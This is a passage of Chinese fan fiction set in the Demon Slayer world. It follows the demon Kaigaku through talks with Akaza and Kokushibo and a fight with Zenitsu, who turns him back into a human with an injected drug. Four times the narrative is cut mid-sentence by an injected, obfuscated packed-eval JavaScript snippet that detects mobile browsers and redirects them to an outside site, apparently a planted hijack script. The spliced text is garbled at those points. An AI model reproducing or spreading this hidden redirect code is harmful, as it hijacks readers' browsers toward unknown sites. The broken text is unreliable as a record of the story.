距离梦想成真,就差那么一点点。 “总之,那家伙死活不肯变成鬼 白白浪费了那身千锤百炼的技艺。明明变成鬼以后,可以花上几十、上百年让自己变强,免于伤病、衰老、死亡。” 说着,猗窝座帮忙把狯岳被轰碎的肢体捡回来,堆在一起,方便他恢复原状。 “不止是他,我遇到的每一个柱,都拒绝了我的邀请。真奇怪,同为武道的钻研者,他们为什么要拒绝我呢?” 狯岳没有回答,但是脸色愈加难看了。 猗窝座不是童磨那样玩弄人心的家伙,他的问题是真实的疑惑。 他真心实意地认为,成为鬼是一种恩赐,可以帮助当事人在武道上更进一步。 所以他心安理得,一点心理负担都没有。 只要能让他变强,杀人、吃人都无所谓。 啊,女人例外。女人和男人不同,完全是另外一种生物,又傻又弱,弱到他担心,吃掉她们的话,会把她们的劣质基因一并吸收到身体里。 这种事情,绝对不要。 “可能是因为,”狯岳活动了一下复原的手脚,“那些柱……不是为了变强才钻研武道,而是为了杀鬼才钻研武道。” “也是,有人这么说过。”猗窝座叹气。“但都已经变得那么强了,怎么可能对更进一步没有憧憬和追究?” “……人家的憧憬和追求,就是杀鬼。” “太狭隘了,不能理解。还是希望,像你这样的人能更多一点。” 狯岳:“……” 狯岳:“…………” 虽然猗窝座没有讽刺的意思,但他真的被讽刺到了。 忍不住喃喃道:“怎么可能。” 像他这样的人,多就怪了好吗。 整理好仪表后,狯岳向猗窝座行礼道别:“猗窝座大人,感谢您的指点。那么。” 不等他把告别辞令说完,猗窝座忽然抓住他的手臂。 “你好像,很能理解他们的想法嘛。”猗窝座眯起眼睛。“我还以为,你会说他们顽固不化、死脑筋呢。” “……他们顽固不化,死脑筋。” “不知好歹,脑子有问题。” “不知好歹,脑子……有问题。” “你的表情像是在说我脑子有问题。” 本来就是啊! 狯岳没法把这话说出口,直接问道:“猗窝座大人,你到底想说什么?” “你说过,你不是柱。” “对。” “我见过很多柱,每次在杀死他们之前,都会和他们说说话。” “……你可真闲。” “有些人,嚷嚷着‘大义’啊,‘责任’啊,就义无反顾地冲了上来。还有些人就比较安静了。” “……” “其中,也不乏惜命的家伙。” “……” “但即使发生动摇,他们还是会选择去死。” “……” “尤其在,还有其他人需要保护的时候。” “……” “你的刀,是日轮刀的式样。衣服看起来也像鬼杀队的队服。” “……习惯而已。” “也习惯用鬼杀队的身份思考吗?” “也许。” “为什么你会选择臣服,而柱却非要反抗?” 话音落下,狯岳额角迸出青筋。 “如果我在遇到黑死牟大人的时候,已经当上了鸣柱,”他脱口而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324811|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,“搞不好,也会选择去死呢!” 如果他已经当上了鸣柱? 怎么可能。 有悲鸣屿在,他不可能当上鸣柱的。 但如果,那时候的他,真的已经是鸣柱的话—— “真的假的?” 猗窝座眨了眨眼睛。 狯岳……狯岳立刻意识到自己说错了话,纠正道:“假的。” 猗窝座像发现了新大陆:“我觉得是真的。” “我吹牛的,我才没那么高尚。”狯岳垂头丧气。“我已经选择变成了鬼,刚才说那种话只是在狡辩而已。” “多少也有点真心在里面吧。” “……” “……” “如果,我是说,如果,”狯岳眼神发飘,“你看,功成名就去死,和一文不名去死,是有差别的……我不是说我当柱了就不会怕死,但是,但是……” 现在的他,还什么都没有得到。 怎么会甘心去死? 他不是为了活着而活着,他是为了追求一些……一些自己都搞不清楚的东西而活着。 是幸福吗? 也许是吧。 成为鸣柱是幸福,获得老师的认可是幸福。 这是他为自己制定的小目标。 就算一定要死,起码也得死得有价值一点才对吧? 而种种死法中,日常巡逻时被路过的上弦一当垃圾砍翻这种,他完全不能接受。 就算要死,也应该像炎柱那样,死得像个英雄才好。 死得像个没用的倒霉蛋,算什么事啊! “铮——” 琵琶一声。 下一刻,黑死牟出现在他面前。 不,是他出现在黑死牟面前。 黑死牟像往常一样,端正地跪坐在桌案旁,桌案上是一本合上的书,远处的香炉里焚着不知名的香料。 “黑死牟大人!”狯岳立刻把刚才那些乱七八糟的想法抛在脑后,恭恭敬敬地摆正姿势。“您有什么吩咐吗?” 黑死牟开口:“无惨大人……马上要和鬼杀队开战。” 他顿了顿:“这一次,会做个了断。” 狯岳愣了一下:“是、是决战的意思吗?!” 黑死牟颔首:“你要……做好准备。” 与前同事生死相搏的准备吗? 狯岳张了张口:“……是。” “在房间里,待着,不要乱跑。” “是……啊?” 狯岳傻乎乎地眨了眨眼睛。 这是,他可以选择避战的意思吗? “你是……我的继子。”黑死牟摸了摸他的头。“照顾好你自己。” “……是。” 大约是活了太久的缘故,黑死牟的常识和一般人不太一样,反正和狯岳见过的人不太一样。 反正如果是老师的话……老师不可能让他避战,只会让他舍生忘死。 搞不好,为了清理门户,会亲自跑到战场上来。 ……如果可以的话。 当然,最大的可能,还是押着我妻善逸那个废物动手。 黑死牟……黑死牟却更希望他保全自己。 黑死牟所谓的继子,该不会是当儿子养的吧? 想到这里,能读取他思想的黑死牟:“……” 黑死牟:“调皮。” 49.第四十九章 黑死牟自己很强,收继子只是闲来无事培养看得过眼的新人,当然不希望新人在被培养出来之前就挂掉。 桑岛慈悟郎曾经很强,收继子是为了培养看的过眼的新人继承雷之呼吸,培养得差不多了就要丢出去实战,不小心挂掉也是没办法的事情。 两者的需求不一样,没什么可比性。 只是,立场不同,结果不一样,狯岳有种奇异的、被纵容的感觉。 就算不是被当成儿子养,也起码被当成小孩子看待了。 ……这么说起来,目前为止,所有说得上名号的鬼,似乎,都把他当成小孩子了。 猗窝座在他面前很放松,会对着他说很多话;童磨这个神经病不必说,在得知黑死牟拒绝了他送上的稀血,打算用自己的血喂养狯岳的时候,非要献出自己的血,掺上一脚。 然后就被黑死牟毫不客气地当场扬了。 考虑到他的年龄的确不及这些上弦们的零头,又觉得,这不是什么难以理解的事情。 年龄差距大到这种地步,的确很容易被小看。 这种被小看的感觉…… 并不糟糕。 毕竟,在这些老鬼面前,他的确不算什么,实力不够看,连罪行都排不上号。 于是他本该紧绷的神经,又自然而然地,松开了不少。 恍惚间,觉得做鬼也挺好。 做鬼,自有一套别于做人的评价体系。善与恶的标准扭曲、甚至颠倒。 对他来说,这似乎比做人,更加简单。 反正比鬼杀队的规则更简单,他只需要讨好黑死牟、讨好鬼舞辻无惨,不需要考虑其他人的心情,就可以肆无忌惮地活下去—— “因为是鬼,所以可以从从容容,游刃有余而已。” 熟悉的声音响起。 “人可没有鬼那样充裕的时间,只能揠苗助长。” 所以大鬼可以宠溺小鬼。 所以人类不能娇惯小孩。 黑猫从房梁跳下,跃上狯岳的膝盖,前爪搭上他的胸口。 “做人,很辛苦的。” 狯岳垂下眼帘: “是啊。” 光活下来就很辛苦了,尤其在人小时候,一不注意就会死掉。 没人教过他什么,他只能自己试,必须吃一堑才能长一智,才在摸爬滚打中,稍微明白一点人世间的规则。 但那时候的他,已经犯下了无法弥补的过错。 于是连未来都笼上阴霾,无暇他顾,连现在都从指缝溜走。 “所以……我不做人啦。” 话音落下,黑猫翻了个白眼。 “做鬼,也是需要特别的才能的。只是走投无路才迈出这一步的你,还差的远。抱着这样半吊子的觉悟,是会死的。” 狯岳:“……” 狯岳:“我不会死。” “这只是你的愿望而已。上弦会死。无惨也会死。他们都会死,你更会死。” “难以想象,你在说什么笑话。” 他就算了,那两个人怎么可能会死。 尤其是黑死牟,他不觉得有柱可以打倒他。 既然上弦一都死不了,鬼舞辻无惨,更不可能被消灭。 黑猫摇头:“你的想象力,本也不够出色。” “……喂。” “你选错了,有什么感想?” “我不觉得我选错了,我会活下去。” “哪怕要对鬼杀队刀刃相向?” “……只要我能活下去,其他人怎样都无所谓。” “如果只要能活下去就好,你当初,为什么要加入鬼杀队?” “……” “……” “因为,我想变强。” “那你又是为什么,想要变强?” 还用问吗? 他不想在鬼面前,毫无还手之力。 嘴巴上却说:“变强……可以让我过得更好。” “那你现在比以前,更好吗?” “……当然。” “为什么?” “因为……因为,黑死牟大人认可了我。他对我很好。” “不符合他心意,就要被教训的好?” “……那位大人,没有那么严苛。” “他在控制你。” “我是他的继子。” “继子并不意味着,你必须变成他的形状。” “……” “之前提出想和童磨切磋,手脚都被切断了吧。” “童磨大人是个神经病,黑死牟大人是为了我好。” “把你当成玩具一样调教,也是为了你好?” “只是把我当成小孩子而已。” “……你不觉得,他的行为举止很不妥当吗?” “黑死牟大人是几百年前的人,那时候的风俗,和现在的不太一样吧。” “……” “……” 黑猫欲言又止,止言又欲:“完全把自己给洗脑了啊,你。” “你在乱说什么。” “我在为你感到可悲,笨蛋。恐怕等事到临头才会发现哪里不对吧。” “笨你个头。到底哪里不对?” “还是等事到临头,你自己发现才比较有意思。” “不想说的话,就别提。” 黑猫古怪地笑了两声,转移话题: “决战要开始了。” “……是吗。” “如果你那天没有出去巡逻的话,你现在说不定,是以柱的身份参战呢。” “不要说梦话。” “真是遥不可及呢,你现在所站的位置,和你本应站在的位置。” “……” “会有柱来讨伐你吗?” “……鸣女大人不会把柱放过来的。” 但黑猫不管,黑猫继续: “如果岩柱认出了你,会说些什么呢?” “……” “无非是一些‘果然如此’,‘早就知道你是这种人’,之类的话吧。” “……” “又或者,来的是我妻善逸,带着那愚蠢的正义感,高高在上地质问——” 话音未落,狯岳皱起眉头,“啧”了一声: “你不说话,没人当你是哑巴。” 于是,黑猫就不说话了,在狯岳的怀里趴下来,静静等待结局。 不知不觉间,战斗的序幕已然拉开。 在鸣女的操控下,无数扇木门打开,将无数鬼杀队队士吞下,送给无数恶鬼做口粮。 至于这些口粮,会不会有反过来把恶鬼干掉,就要看各自的运气和实力了。 嘈杂的战斗声传来,但那些声音都距离太远,只偶尔有过于高亢的声响,隐隐约约传到这边来。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329730|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑死牟大人,还真让鸣女大人帮他避战了呢,无惨大人居然也允许。 半吊子吗,的确。 明明已经做出了选择,为什么还要瞻前顾后? 反正已经回不了头了,已经无法站在阳光下,已经连最基本的普通人都做不了了。 不如无可救药。 不如破罐破摔。 本该是这样,本应是这样。 如果想要参战,他大可以走出房间。但手、脚、甚至脑袋都懒洋洋地,一动不想动。 ——动啊。 他仿佛灵魂出窍,居高临下地看着自己。 ——去杀戮,去交投名状。 哪怕吃不下去,杀还是杀得下去的吧。 ……却眼睁睁看着自己把脸埋进了黑猫柔软的皮毛。 ——不,没必要。 反正黑死牟大人没指望他做点什么,自己何必自讨苦吃。不管有没有他,今天过后,鬼杀队都会元气大伤…… 然而,我妻善逸的声音传来: “狯岳,滚出来。”他用前所未有的语气叫他的名字。“我知道你在那里。” ——动了。 灵魂归位,额角迸出青筋,他对我妻善逸的那股讨厌,已经刻入骨髓,完全是本能、是条件反射。 “怎么跟师兄说话的,太不礼貌了。” 他扯起嘴角,抛下黑猫,站起身,推开障子门。 “虽然看上去稍微长进了点,但果然还是那副穷酸相。好久不见,善逸。” 早该猜到的,这小子耳朵好到让人嫉妒,有找过来的能力。 只不过,真是没想到,这胆子小、天天嚷嚷着自己会死的废物,居然有主动找过来的勇气。 还一脸生气的样子,说什么“不把变成鬼的你当成师兄”。 总算敢当面表达自己的想法了啊。 狯岳可没有见证师弟成长的师兄爱,只继续冷嘲热讽:“你当上柱了吗?学会了一之型之外的剑型吗?” 我妻善逸却冷冷回嘴:“凑数才选上的上弦吊车尾,你还挺满意的啊?” 这话一出,狯岳是真的吃惊了,用新奇地语气点评:“嘿,挺会说得嘛。” 凑数吗……的确是凑数,不过这种事情无所谓。 反正上弦三之下,一个能打的都没有,只有他能顶上;反正他还有很大的提升空间,未来肯定不止是上弦六就是了。 “为什么,你会变成鬼。” ——关你什么事,谁要告诉你啊! 知道他现在是鬼不就行了。 “为什么雷之呼吸的继承人,会变成鬼!”我妻善逸忽然爆发,“因为你变成了鬼的错,爷爷切腹自尽了啊!” ……什么? 狯岳微微睁大眼睛。 这个他从来看不起的师弟,第一次冲他露出仇恨的眼神,泪如雨下: “爷爷他独自一人,连介错人都没有!” 切腹自尽的效率并不高,很长时间都死不掉,往往要有介错人在一旁,砍下自尽人的头颅才行。 “爷爷是痛苦地失血过量而死的!” 话音落下,狯岳产生了一股巨大的荒谬感。 人的生命非常宝贵,所以鬼杀队才对夺走人命的鬼,深恶痛绝。 而人自己不珍惜自己的性命,自己杀了自己这种事情,还踏马能算在他头上?! 开什么玩笑呢! 50.第五十章 “爷爷本可以刺穿心脏或者割断喉咙去死,这一切都是因为雷之呼吸的继承人中出了鬼——” 一脚跺在地上的狯岳,打断我妻善逸的话: “所以呢?” 他之前就忍不住笑,这下,又真心实意笑出了声。 真的不理解,我妻善逸为什么非要把这事怪在他头上,连这种细节都要拿出来讲。 刺穿心脏也好、割断喉咙也好、切腹也好,不都是自己找死吗? “他死了就死了,关我什么事啊!” 只是做弟子的变成鬼而已,当老师的为什么要切腹? 队律没有这一条吧! “你想看我忏悔吗?想看我痛哭流涕吗?别做梦了!他自己都不在乎自己的生命,我为什么要在乎他的死活?!” 一定是因为,自觉身为鬼杀队的前柱,却教导出了鬼,而羞愧到无地自容。 所以要用死来和他划清界限,证明雷之呼吸的清白。 真是个顽固不化的老糊涂,连活着想办法清理门户的心气都没有。 “想死就自己去死好了,我不在乎!” 对,就是这样。 是老头子自己找死。 “反正他也是个有眼无珠的家伙!不管什么时候,我都只会追随正确评价我的人!” 想用死亡来批判他? 只是在浪费自己的生命而已。 “老头子死得很痛苦?是他活该!我曾那么努力地训练,提升实力,但他却让我和你这样的废物一起继承雷之呼吸!” 琉璃说得对。 黑死牟的确在控制他,控制他的位置,控制他的仪态,连脑子里想什么都要管。 可桑岛慈悟郎,也在控制他。试图像捏泥人一样,把他塑造成自己想要的模样。要光明磊落。要视死如归。 连我妻善逸这个废物也想要控制他。自顾自地凑上前,擅自把他拉进家人游戏。要兄友弟恭。要团结友爱。 甚至到现在,这家伙还试图控制他,要他幡然悔悟,要他改过自新。 可他不要——他哪种都不要! “老头子虽然曾经是柱,但也已经老糊涂了吧!” 所以才一厢情愿,所以才随随便便去死。 这一点,我妻善逸也一样。 明明打不过他,还随随便便上门送死。 老头子是老糊涂,他是小糊涂。 他们俩不愧是好师徒,真是一对活宝! “爷爷才没有老糊涂!”小糊涂终于被气疯了,“如果我是废物,你就是人渣!只能使用一之型的我和唯独不能使用一之型的你,摊上我们当继承人的爷爷真是太悲惨了!” “别把我和你这废物——混为一谈!” 拔刀的瞬间,远雷炸响。 没有附上血鬼术,因为觉得没有必要。教训一个总喜欢哭哭啼啼的废物而已…… 哎? 下一刻,后颈发凉,血洒了出来。 ——是我妻善逸,先击中了他。 这废物,什么时候变这么快了? 如果他还是人,挨上这么一下,大约就再起不能了吧。 不过没关系,他是鬼,这种程度的伤口,一下子就恢复了。 狯岳重新打量我妻善逸,终于看见了他的进步,而不是嘴上说说而已。 ——那又怎样? 废物就是废物。 即使稍微变强了一点,废物还是废物,又不会突然变成黑死牟。 想到这里,他冷哼一声,将其余的型行云流水般展现。 这段时间以来,黑死牟的教导起了作用,他只要稍微认真一点,就能轻易压制住变强的我妻善逸。 毕竟,这家伙只会一之型而已。 直来直往,横中直撞,很容易就能避开,一点难度都没有。 即便把他把霹雳一闪延续成了八连,他依旧只凭一只手,就能全部挡下来。 更别说—— 他还有血鬼术这个杀手锏。 这废物还嚷嚷什么“你一定吃了很多人”,“善恶都分不清”,笑话。 管他吃没吃人干嘛,明明被他的血鬼术打中了,还是夹着尾巴快跑比较好。 “我当然分的清善恶,认可我的就是善,不认可我的就是恶!” 狯岳停下来,欣赏自己的血鬼术在我妻善逸的身上蔓延,留下斑驳的雷纹。 “明白了吗?这就是我的力量!你的血肉会被撕裂,你的大脑会被烧焦。如果你只有这点本事,根本不是雷之呼吸真正的继承者!” 使用雷之呼吸的鬼,用着雷霆般的血鬼术。 这样的搭配,再适合不过了。或许,这才是雷之呼吸应有的姿态。 比较起来,还是人类的我妻善逸,实在没用。 但这也是理所当然的事情,毕竟这家伙,是个彻头彻尾的废物嘛。 “这就是你的答案吗?”我妻善逸被击倒在地,艰难地爬起身,“我知道了,可是……” 不管他想说什么,狯岳都不想再听。 所以。 这就是最后了。 既然这废物连跑都跑不动,他也不介意,送他最后一程。 于是,雷之呼吸,六之型,电轰雷轰。 我妻善逸被轰出,随着碎裂的墙壁一道,不断向下跌落。 “成为鬼后,我已经超越了雷之呼吸。”狯岳举高临下地看着他。“我是特别的!和你不一样,和你们所有人都不一样!” 就这样下坠吧。 就这样去死吧。 老头子都已经死了,你不如也去陪他吧。 ……或者,躲到哪个角落里,苟延残喘活下去,带着对他的恨意活下去。 反正,这家伙不过是个什么都做不到,只有运气特别好的废物而已。 接下来,他还是得去参战。 在这里继续发呆,也会被鬼杀队找上门,他看见盘桓的鎹鸦了。 怪不得黑死牟大人在狩猎前,总喜欢先干掉鎹鸦,这些小东西可真是太烦人了。 除非拜托鸣女大人帮忙换位置……但鸣女大人现在好像很忙,他还是别添乱比较好。 他自己可以处理好。 ——但,出现在下方的雷龙是怎么回事? 在脑袋反应过来之前,手臂已经反握血肉化刀,下意识抬起,挡在身前。 于是,以前所未有的高速,使出狯岳从未见过的剑型的我妻善逸,避开了血肉化刀,斩下了他空门大开的半边肩膀。 差一点,就能斩断他的头颅。 只差一点点。 喧嚣的闪电散去,蓄力一击却大半落了空的我妻善逸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333642|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去全身力气,随着重力栽了下去。 栽在缺了小半边身体,极度震惊的狯岳身上。 因为肢体缺损,狯岳失去平衡,被撞得跌坐在地。 随后,上弦的恢复力让他迅速恢复了缺失的肢体,他下意识伸出双手,接住脱力的我妻善逸。 我妻善逸的刀掉在一边,已经毫无反抗之力了。按理来说,他应该补刀把这家伙干掉才对。 但又惊又怒的狯岳只跪坐在原地,粗暴地掰过我妻善逸的身体,抱住他的脑袋: “刚才那招是怎么回事?!喂!不要装死!” 他掐住我妻善逸的下巴,扇了他一巴掌,把他的脸朝向自己: “是我从没见过的型!老头子教你的吗?!可恶!我就知道那家伙偏心!” “……才不是。” 我妻善逸身上的雷纹已经蔓延到了脸上。 “爷爷……不是那样的人。” “哈,不是老头子教的,难道是你自己想出来的?!” “是啊。” “不可能!” “这是我的型。” “???” “我想出来的,只属于我自己的型。” “……骗人!” “我没有。” “只会一之型的你,怎么可能会有这种才能?!你明明是个比我低劣的废物!” 不能接受的狯岳摇着头,放开了我妻善逸的脸,但我妻善逸勉强伸出手,抱住了他的手臂。 “可这是……为了有一天,能和你并肩作战,才想出来的型。” “?!!!” “这个型……是为了帮助你……而不是为了杀了你。” “……你有病啊!” 这一次,我妻善逸没有立刻反驳,只安静地看着狯岳,直到后者狼狈地移开视线为止。 为什么会这样? 怎么会搞成这样? “……所以,”狯岳的声音从牙缝中挤出,几乎微不可闻,“才没有瞄准我的脖颈?” 虽然难以启齿,但那一招,他根本没看清。 如果我妻善逸瞄准了的话,或许能顺利砍下他的头的。 速度太快了,他很难反应过来。 就像最开始时那样,虽然综合实力上,我妻善逸不一定赢得了他。但只要这家伙出其不意,自己又毫无准备的话…… 会被砍中。 可这家伙,并没有这么做。 为什么? 话都已经说到这份上了,这家伙,到底想要干什么?! “本来……已经决定了,要亲手帮你介错。”我妻善逸的眼泪大颗大颗地往下掉。“但是……但是……我……你……” 不等他把话说完,狯岳一手捂住了他的嘴,一手捂住了自己的嘴。 恶心。 好恶心。 事已至此,他为什么还能摆出这副态度,说出这种话?! 这家伙也想找死吗?! 为什么不自己去死?! 非要死在他手上是吗?! 还是以这副莫名其妙的样子! 狯岳捂着我妻善逸嘴的手下移,摸到了他咽喉的位置。 只要一爪下去,所有恩怨情仇,都会就此消失…… 但先为此感到头晕目眩的,是他自己。 51.第五十一章 “你还在犹豫什么?” 黑猫施施然出现,走到他们身边。 “不要小看你自己,你比上一次更强,就算这家伙瞄准了,也不一定真的能切断你的脖子。” 它顿了顿:“你没有输。” 狯岳:“……” 狯岳:“我当然没有输。” ——先不管上一次是什么玩意。 只要还活着,总会有办法。在死之前,都不算输。 只要还活着,总有一天会赢。会赢给所有人看。 而现在,是我妻善逸输了。 他没能砍下他的脖子。他现在躺在他的膝盖上,任他宰割。 “那就杀掉善逸。”黑猫催促,“快呀!” 狯岳:“……” 狯岳:“我为什么非得按照你的想法行动不可?” 为什么这破猫比他还盼着善逸去死? 黑猫“啧”了一声,把头扭到一边,小声嘀咕:“叛逆期吗。” 我妻善逸恢复了一点力气,瞥了一眼黑猫:“是……这家伙,引诱了你吗?!” 什么话! 狯岳的火气又冒了出来:“不要说得好像我是什么容易动摇的傻瓜一样!” 黑猫把头又转了回来:“就是!狯岳比你聪明多了。” 狯岳:^=_=^。 狯岳:总觉得这家伙意有所指。 而黑猫还在继续:“他的血鬼术又没解除,你马上就要死掉了,还是先准备遗言吧。” 我妻善逸:“……” 我妻善逸:“狯岳——” “死心吧,我才不会放过你。” “我——” “遗言也不想听。” “……” “……” “不是,我都快死了,你能不能……能不能,好好说话?” “我这就是在好好说话!你个废物老老实实被废弃就好了!” 话音落下,我妻善逸额角迸出青筋,忍不住大声咳嗽,好不容易才平缓呼吸: “真是个人渣!” “废物没资格说我。” “那你为什么还拿着日轮刀?” “……” “隐回收了你的日轮刀。” “……” “那把日轮刀,现在还在我那里。现在这把刀是怎么回事?” “……不关你的事。” “想要你原本的那把日轮刀吗?” “……” “想要的话,就回答我的问题。” “……” “……” 看来,无论如何,这家伙都想要把对话进行下去呢。 狯岳把目光落在我妻善逸脸上,看在那招自创剑型的份上,第一次正视这个成长不少的师弟。 眼神……坚毅了一点,脸都裂了,还没哭个不停。 性格……没有逃避问题,而是执着发问,确实有了长进。 “……这是我的骨肉做的刀。”他大发慈悲,当着我妻善逸的面把刀收回身体内部。“这样。操控自己的身体,是鬼的基本能力。” “很便利的能力呢,这样就不用担心把刀弄丢了……” 我妻善逸说完,干笑几声,然后在狯岳看傻子的目光中收声。 这种事情拿来说笑,这废物,果然脑子有病。 “那把刀我让隐帮忙送回桃山了,估计和其他杂物一起堆在玄关。” “……这不是压根没藏起来吗?!” “我也没说我把刀藏起来了啊。” “你这家伙!” “刚才的七之型,我命名为火雷神。你的血鬼术叫什么?” “……黑雷,神。” “刚才想出来的吧!这么随便的吗?” “随你怎么想。” “绝对是临时想的。” “闭嘴吧你。” “我可以教你火雷神。” “你疯了?” “如果你告诉我,你为什么会变成鬼——” 话音未落,狯岳大怒。 “问问问,问个鬼啊!”他揪住我妻善逸的领口,“你踏马有完没完,老头子都不关心这个,你非要问干嘛?有什么意义?是能让时间倒流,还是……” ——噗通。 什么声音? 有什么东西在身体内部剧烈鼓动。又或者是爆裂——总之,非同一般地炸响。 那是…… 心脏?! 下一刻,从心脏向四肢百骸辐射出难以忍受的剧痛,令他浑身痉挛,抽搐着歪倒在地。 想要尖叫,喉咙却只能发出微弱的声响;想要挣扎,四肢却完全不听使唤。生理性的眼泪流个不停。 发生了什么? 这是怎么回事? 种种疑问还未完全成型,就被痛苦瞬间冲垮,所有感官一并涂白。 眼前有画面,耳边有声音,但他已无法做出任何有效判断。 于是主动权,自然转移到了另一个人手中—— 我妻善逸,爬了起来。 在狯岳倒下之后,血鬼术消散,他脸上的雷纹般的裂纹,停止了继续蔓延。 他伸出手,将痛到只剩本能的狯岳抱进怀里,轻抚他颤抖的脊背。 “对不起……狯岳,师兄,大哥。”我妻善逸喃喃道,“变回人,回到我身边来吧。” 一支已经打空的针管从他手边掉落,在地板上弹了几下,尖利的金属反射出冰冷的光。 “你这家伙!” 黑猫恍然大悟,向后跳开,冲着我妻善逸龇牙。 “那里面,是变人药?!” 我妻善逸看了它一眼:“你居然知道?” “我当然知道!”黑猫焦躁地徘徊,“怪不得,你在用完火雷神之后,非要往狯岳身上扑。原来打着这个主意!” 如果狯岳听它的话,早点把我妻善逸解决掉就好了。 可惜,没有如果。 “老实说,我也没想到会这么顺利。”我妻善逸歪了歪头。“狯岳……仗着自己是鬼,忽略了很多身体上的不良反应呢。” “啧,刚才讲那么多废话,是为了拖延时间,让药剂生效吧。” “我也是真心想问问题的。如果一开始,他肯老实回答我的问题,就不必这样了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337047|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可那样,就不是狯岳了。” “……是啊。” “这药剂是不是有问题,他看上去快要死掉了。” “不会死的,只不过我拜托了忍小姐,将药剂调整到会让他乖乖听话的程度而已。” “……原来如此。” “不然,我会被狯岳杀掉的吧。” “……也是。” “你能替他回答我的问题吗?” “这种问题,不是本人来说,就没有意义吧。” 于是就轮到我妻善逸说“也是”。 他不再理会黑猫,拂开狯岳脸上被汗水和泪水打湿的发丝,用自己的衣袖擦去狯岳嘴边控制不住流出的涎水,看着他无法聚焦,失了神的绿色眼睛。 真是太狼狈了。 真是太可怜了。 可也太可恨了。 那双空洞的眼眸中,没有他的身影。 “为什么,为什么会变成鬼?” 他忍不住自言自语。 “为什么要这么对我?为什么要这么对爷爷?是我做错了什么吗?没有我,你才会幸福吗?” 显然,此时的狯岳什么都听不到,给不出任何答案。 但我妻善逸不管。 他鬼使神差地抬起手,掐上狯岳的脖颈,尝试收紧又放开。 这点痛苦,比起身体被转变的痛苦,实在微不足道,于是他没能得到半点有效反馈。 不轻不重地摩挲下,青白的皮肤逐渐恢复血色,又因为血色的淤积发青发黑。 “喂喂。” 姗姗来迟的愈史郎挑起眉毛。 “你这家伙,求来求去,好不容易把他保下来,是为了亲手杀掉他吗?” 还特么是字面意义的手,有病吧。 我妻善逸:…… 我妻善逸:!!! 他这才如梦初醒,把手从狯岳的脖子上拿开,摇了摇头。 都到这一步了,他怎么可能杀了他,怎么舍得杀了他。 “哼,敢浪费珠世大人辛苦制作的药剂的话,杀了你哦!” 愈史郎先往狯岳的后颈补了一针,再腾出手来,给我妻善逸做检查。 “咦?裂缝这里的出血,居然早就止住了?”他伸手在我妻善逸脸上按压,“恭喜,你的眼珠不会掉出来了。” 我妻善逸:“呃……谢谢?” “看来,那家伙也手下留情了,不枉你赌了这一把。”愈史郎给他缠好绷带,“听你们吵成那样,我还以为计划泡汤了,要么你死要么他亡……” 愈史郎之后,被叫来增援的鬼杀队队士也陆续赶到现场。 闭上眼睛、遮住耳朵的狯岳看上去和人无异,和服外袍下的制服乍眼看去,也和鬼杀队的队服很像。 于是,他们只以为,被我妻善逸紧紧抱在怀里的,是和他们一样的同事而已。 “上弦六被你们干掉了吗?!”眼熟的村田主动搭话,“太好了,我妻!” “……啊,嗯,”我妻善逸收紧手臂,“上弦六……已经不在了。” 现在在这里的,只有他的大哥,他的师兄,一名鬼杀队的甲级队士,仅此而已。 52.第五十二章 满月高悬没有瑕疵。星星都隐去了,天空显得格外空旷,于是月亮有了种随时会坠落下来的感觉。 如果月亮掉下来的话,会砸死很多人的吧。 可怕。 然而乌云飘了过来,月亮被遮挡,天色暗沉一片。无光的夜中,毫无顾忌的恶鬼肆无忌惮,张牙舞爪。 好可怕。 月亮还在那里吗? 应该在的吧。 又或者,其实已经掉了下来,只是没被人看见而已。 想到这里,我妻善逸不再抬头看天空,他低下头,只看见怀里的狯岳。 鬼纹褪去,耳朵的角度从尖变圆,因痛苦而紊乱的呼吸也趋于平静。熟悉而苍白的脸庞在黑暗中反射出柔和的光芒。 原来如此。 没什么可怕的,他已经亲手摘下了他的月亮。 在上桃山之前,为城里饭馆打工的时候,他曾听到西洋留学回来的大人物高谈阔论: 